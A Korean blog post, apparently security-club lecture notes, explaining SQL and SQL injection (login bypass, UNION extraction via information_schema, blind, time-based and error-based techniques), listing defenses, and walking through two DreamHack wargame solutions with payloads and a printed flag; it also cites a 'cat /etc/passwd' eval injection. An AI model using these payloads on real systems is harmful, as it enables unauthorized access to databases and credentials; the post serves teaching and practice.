Security/정보보안

정보보안 3차시: 웹 - SQL Injection

arsenic-dev 2025. 3. 31. 00:10

경희대학교 중앙동아리 쿠러그의 정보보안 강의를 기반으로 정리한 글입니다.

배경 지식

DB (Database)

여러 사람이 공유하여 사용할 목적으로 구조화된 정보 또는 데이터의 조직화된 모음집이다.

대부분은 여러 개의 표가 모여 있다. (마치 엑셀 시트처럼)

 

DBMS (Database Management Systme)

데이터베이스를 '데이터의 집합'이라고 정의한다면, 이런 데이터베이스를 관리하고 운영하는 소프트웨어를 DBMS라고 한다.

다양한 데이터가 저장되어 있는 데이터베이스에 여러 명의 사용자나 응용 프로그램이 공유하고 동시에 접근이 가능하게 한다.

ex) MySQL, Oracle, MariaDB

SQL (Structured Query Language)

구조화된 질의 언어라는 뜻으로, 데이터를 쿼리 조작 및 정의하고 엑세스 제어를 제공하기 위해 거의 모든 관계형 데이터 베이스(테이블 - 열, 행)에서 사용하는 프로그래밍 언어이다. 이러한 표준 SQL을 배우면 대부분의 DBMS를 사용할 수 있다.

 

쉽게 얘기하면, DB에서

  • 새로운 데이터를 추가하고 (Create)
  • 원하는 데이터를 읽어오고 (Read)
  • 기존 데이터를 변경하고 (Update)
  • 필요없는 데이터는 제거한다 (Delete)

※ NoSQL이라고 SQL이 필요없는 DB도 존재한다.

 

query

데이터베이스에 정보를 요청하는 일로, DB에서 원하는 조건에 맞는 데이터를 조작할 수 있는 SQL 문장의 집합인 질의문이다.

정보를 처리하는 과정에서 query를 보내면 이에 따른 정보를 DB로부터 가져온다.

 

명령문은 명령에 따른 실행/취소/에러를 보내는 개념이라면,

query는 질의문으로, DB에서 거절하는 것이 가능하다.

  • ex) ~에 대한 권한이 없습니다.

웹 서비스의 동작 과정

▶ 웹 서비스의 동작 과정

SQL 문법

기본 문법 구조

▶ 기본 문법 구조

  • SELECT: 선택한다 (= 읽기)
  • FROM: 어느 표에서
  • WHERE: 이 조건을 만족하는 것
  • GROUP BY, HAVING, ORDER BY, LIMIT 등 추가적인 설정
  • 문법에서 대소문자는 구분하지 않는다
    • 컬럼명, 테이블명도 대소문자 구별 X
    • 보통 문법은 대문자, 내용은 소문자로 작성

SELECT

SELECT

  • SQL에서의 연산 우선 순위: AND > OR

 SELECT에 조건 달기

 

몇 가지 부가 연산

▶ 몇 가지 부가 연산

SQL Injection

Injection 취약점

개발자가 의도하지 않은 코드가 실행 과정에 삽입되어 의도하지 않은 동작을 하는 경우를 말한다.

주로 입력 값을 검증하지 않아서 발생한다.

▶ 간단한 injection 예시

  • 입력한 값을 그대로 실행한 뒤 출력해주는 코드

위 코드에서 입력값에 os.system("cat /etc/passwd") 와 같이 의도치 않은 코드가 삽입될 수 있기 때문에,

입력값을 항상 검증할 필요가 있따.

 

※ eval: 문자열로 된 표현식을 받아 코드로 해석하여 실행하는 역할을 하는 함수이다.

SQL Injection (SQLi)

웹 어플리케이션에서 DB 쪽에 입력된 데이터의 유효성 검증을 하지 않으면,

개발자가 의도하지 않은 요청을 생성하여 DB 정보를 열람하거나 조작할 수 있게 된다. (브라우저 -공격-> DB)

  • Union Based SQL: UNION을 사용해 여러 쿼리를 결합하여 데이터를 추출하는 기법
  • Blind Based SQL: 오류 메시지 없이 조건문을 통해 데이터베이스 정보를 추측하는 기법
    • Time Based SQL: 시간 차이를 이용하여 데이터베이스 정보를 추측하는 기법
  • Error Based SQL: 오류 메시지를 이용해 데이터베이스 구조나 정보를 추출하는 기법

공격해보기

▶ 실제 구현 방식

  • 서버 로직단에서 SQL 질의 후 사용자에게 결과값 반환

위 코드를 보면 입력한 값이 그대로 id와 pw 부분에 삽입됨을 볼 수 있다.

 

id: test, pw: ' or 1=1 -- 

-> id가 test인지만 확인하고 pw는 확인하지 않게 된다.

 

※ SQL에서는 -- 뒤에 공백이 없으면 주석으로 인식되지 않을 수 있어, pw에서 -- 뒤에 스페이스(공백)를 넣어줘야 된다.

 

강제 로그인

SQL 문법에서 --는 주석 처리 문법이기 때문에 뒤에 코드가 전부 주석 처리가 되어 날라간다.

SELECT * FROM accounts
WHERE id='user'--' AND pw='user가입력한pw'

▶ id만 user이면 pw에 상관없이 열리는 코드 

SELECT * FROM accounts
WHERE id='user' OR 1=1 --' AND pw='user가입력한pw'

▶ id, pw에 상관없이 무조건 열리는 코드 

UNION Based Injection

UNION (중복 제거) / UNION ALL (중복 허용)

  • 두 개의 SELECT 구문을 교집합해주는 연산자

ORDER BY

  • SELECT 구문 실행 시 반환되는 값들을 지정한 컬럼 기준으로 정렬
  • 이를 이용해서 SELECT 구문의 컬럼 개수를 추측할 수 있음
SELECT * FROM users ORDER BY 1; -- 정상 실행됨 (1번째 컬럼 기준으로 정렬)
SELECT * FROM users ORDER BY 2; -- 정상 실행됨 (2번째 컬럼 기준으로 정렬)
SELECT * FROM users ORDER BY 3; -- 정상 실행됨 (3번째 컬럼 기준으로 정렬)
SELECT * FROM users ORDER BY 4; -- 에러 발생

▶ ORDER BY 4에서 오류 발생

  • 컬럼 개수가 3개라서 ORDER BY 4가 불가능함

information_schema

해당 데이터베이스의 정보를 저장한 테이블이다.

  • DB나 테이블 이름을 알 수 있음
  • 원하는 테이블의 속성에 대한 데이터 유형을 알 수 있음
  • DBMS 아이디에 관련된 권한을 알 수 있음
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA

▶ DB 시스템 내의 모든 스키마의 이름을 조회

  • SCHEMATA 테이블 / SCHEMA_NAME 각 스키마 이름 (column)
SELECT DATA_TYPE FROM information_schema.COLUMNS
WHERE TABLE_NAME='USER' AND COLUMN_NAME='ID'

▶ USER 테이블의 ID 컬럼의 데이터 타입 조회

  • COLUMNS 테이블 / 특정 테이블의 특정 컬럼에 대한 데이터 타입 찾기
SELECT * FROM information_schema.USER_PRIVILEGES

▶ DB 사용자들의 권한(privilege) 정보 조회

  • USER_PRIVILEGES 뷰 / 권한의 전체 목록을 반환

공격 예시

' order by 1 -- 

-> 컬럼 개수 추측

 

' UNION ALL SELECT '', column_name, '', '' FROM information_schema.columns WHERE table_name='member'--

-> member 테이블의 컬럼명(id, pwd 등)이 노출

 

' UNION ALL SELECT '', id, pwd, '' FROM chapter23--

-> chapter23 테이블의 사용자 계정 정보(id, pwd)가 노출

 

※ UNION을 사용하면 앞뒤 쿼리의 SELECT 컬럼 개수와 데이터 타입이 일치해야 한다. 때문에 ''는 빈 문자열이지만, 다른 컬럼 개수를 맞추기 위해 추가된 것이다.

 

공격을 위한 기본적인 문법

  • ' -> 기존 쿼리 종료
  • -- -> 나머지 SQL 코드 무효화

Blind Based SQL

정보를 직접 볼 수는 없지만, True / False 값을 이용해 정보를 유추하는 방법이다.

no=39 and (select passwd from member where userid='admin')='s3cretP@sswd!'

▶ SQL Injection을 통한 관리자 계정 비밀번호 확인

  • member table에서 password를 가져온다
  • userid가 admin인 계정의 비밀번호를 가져온다
  • 해당 가져온 값이 입력한 값(s3cretP@sswd!)와 같은지 확인한다
  • 같다면 39번 게시물이 뜨고, 아니라면 안 뜬다

()는 서브 쿼리 -> SQL 안에 쿼리를 또 넣을 수 있다.

 

아스키 코드 + 이분 탐색으로 비밀번호 추출

SELECT * FROM users WHERE username = 'admin' AND ASCII(SUBSTRING(password, 1, 1)) < 96;

▶ SQL Injection을 통한 관리자 계정 비밀번호 추출

  • SUBSTRING: 문자열 일부분 추출
    • SUBSTRING(string, start, length)
  • ASCII: 문자열의 ASCII 값 반환
    • ASCII(character)
  • 한 글자씩 < 연산자로 비교해가기
    • 이분 탐색으로 글자 찾기 가능
    • 한 글자씩 계속해서 진행하면 전체 비밀번호 추출 가능

Time Based SQL

Blind Based SQL의 일종으로, 정보를 직관적으로 알 수는 없지만 서버의 응답 시간을 통해 알 수 있다.

 

if(1=1, sleep(2), 0)

-> 조건이 참이라면 2초 지연, 아니라면 지연 X

Error Based SQL

Get, Post 요청 필드, HTTP 헤더 값, 쿠키값 등에 특수문자를 삽입할 경우 SQL에서 에러가 발생한다.

  • 특수문자: ' 작은 따옴표, ; 세미콜론과 같은 문법에 영향을 줄 만한 문자들을 의미한다.

이때, 에러 메시지를 이용해 데이터베이스 구조나 정보를 추출할 수 있다.

 

만약 id 혹은 pw에 '를 입력하면 쿼리 구문에 문제가 생겨 500 에러가 발생하는데,

이를 통해 SQL Injection 공격이 가능함을 확인할 수 있다.

SQLi 방어 방법

1. 입력값에 검증 로직 추가

  • 주의사항: 클라이언트에서 처리하면 코드 변조나 패킷 변조를 통해 값을 변경할 수 있다
  • 1차적인 검증을 클라이언트에게 맡길 수는 있지만, 최종 검증은 무조건 서버에서 해야 한다

2. SQL 서버 오류 발생 시 해당 에러 메시지 감추기

  • 에러 메시지를 노출할 경우 과도한 힌트를 줄 수 있다

3. 특수문자 치환하기

  • 특수문자를 다른 문자로 임의로 변경하거나, 인코딩하여 영향을 줄 수 없는 텍스트로 변경
  • MySQL에서는 preparestatement라는 기능을 제공한다 -> 특수 문자를 자동으로 escaping

4. DB 접근 권한 낮추기

  • kubernetes 사용 (물론 k8s는 이 목적으로만 사용하는 것은 아님)

과제: DreamHack Wargame

simple_sqli_chatgpt

▶ 문제

 

'문제 파일 받기'로 받은 'app.py' 파일의 DATABASE 부분을 보면 users라는 table 안에 userid, userpassword, userlevel의 정보가 담긴다는 것을 확인할 수 있다.

알아낸 table 이름을 이용해 UNION Based Injection을 하면,

 

이렇게 플래그 값이 출력되는 것을 확인할 수 있다.

baby-union

▶ 문제

'OR 1=1 -- 을 통해 주어진 query의 users를 확인해 보면,

column이 3개이므로 이를 반영하여,

' UNION SELECT table_name, '', '' FROM information_schema.TABLES -- 하면,

에러가 발생한다.

 

UNION은 SELECT하는 column의 개수를 맞춰주어야 하는 주의점이 있기에,

발생한 에러 해결을 위해 ORDER BY로 column 개수를 제대로 확인해 보아야 한다.

' UNION SELECT * FROM users ORDER BY 3 -- 
' UNION SELECT * FROM users ORDER BY 4 -- 
' UNION SELECT * FROM users ORDER BY 5 -- (에러 발생)

 

 

위와 같은 결과로 column이 4개라는 것을 알았으니 column 개수를 맞춰,

' UNION SELECT table_name, '', '', '' FROM information_schema.TABLES -- 하면,

다음과 같이 정상적으로 table_name이 나오는 것을 확인할 수 있다.

 

여기서 얻은 onlyflag라는 table_name을 이용해 column_name을 추출하기 위해,

' UNION SELECT column_name, '', '', '' FROM information_schema.COLUMNS WHERE table_name='onlyflag' -- 하면,

다음과 같이 정상적으로 column_name이 나오는 것을 확인할 수 있다.

 

여기서 얻은 sflag라는 column_name을 이용해 flag를 추출하기 위해,

' UNION SELECT sflag, '', '', '' FROM onlyflag -- 하면,

 

다음과 같이 나온다.

 

처음엔 이게 flag인 줄 알고 DH{} 안에 위 내용을 담아 정답을 제출했는데 틀렸다고 나와서, svalue까지 같이 추출해주기 위해,

' UNION SELECT svalue, sflag, '', '' FROM onlyflag -- 하였더니,

위처럼 나와 DH{57033624d7f142f57f13} 으로 자체적으로 중괄호를 닫고 제출했는데 또 틀렸다고 나왔다.

 

그래서 이번엔 ' UNION SELECT svalue, sflag, sclose, '' FROM onlyflag -- 하였다.

했는데 sclose가 출력이 안 되었다.

아마 4개 컬럼인데 3개 컬럼으로 보이는 이유가 3번째 컬럼이 숨겨졌기 때문인가 보다.

 

그래서 다시 ' UNION SELECT svalue, sflag, sclose, sclose FROM onlyflag -- 하면,

이렇게 플래그 값이 출력되는 것을 확인할 수 있다.

-> DH{57033624d7f142f57f139b4c9e84bd78da77b4406896c386672f0cbb016f5873}

 

참고로 -- 뒤에 공백 있으니 주의해야 한다.

 

 
 

information_schema

1. TABLES

SELECT table_name FROM information_schema.TABLES

▶ SQL

 

2. COLUMNS

SELECT column_name FROM information_schema.COLUMNS

▶ SQL


참고자료

https://hongong.hanbit.co.kr/%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-databasedb-dbms-sql%EC%9D%98-%EA%B0%9C%EB%85%90/

 

[데이터베이스 이해하기] Database(DB), DBMS, SQL의 개념

데이터베이스(Database, DB)란? : 데이터의 저장소. DBMS(Database Management System, 데이터베이스 관리 시스템)란? 데이터베이스를 운영하고 관리하는 소프트웨어. 계층형, 망형, 관계형 DBMS 중 대부분의 DBM

hongong.hanbit.co.kr

https://velog.io/@rgfdds98/SQL-query%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C

 

[SQL] query란 무엇일까?

공부를 하다보면 query란 말이 자주 보인다. 그냥 query라는 단어 자체로도 나오고, 뭐 query문, react query 등등 많다. 그렇담 이 query란게 무엇일까?

velog.io

https://www.youtube.com/watch?v=FoZ2cucLiDs

'Security > 정보보안' 카테고리의 다른 글

XSS game  (0) 2025.04.01
정보보안 2차시: 웹 - 기본적인 웹 취약점  (2) 2025.03.28
정보보안 1차시: 네트워크 - ARP와 TCP/UDP  (5) 2025.03.21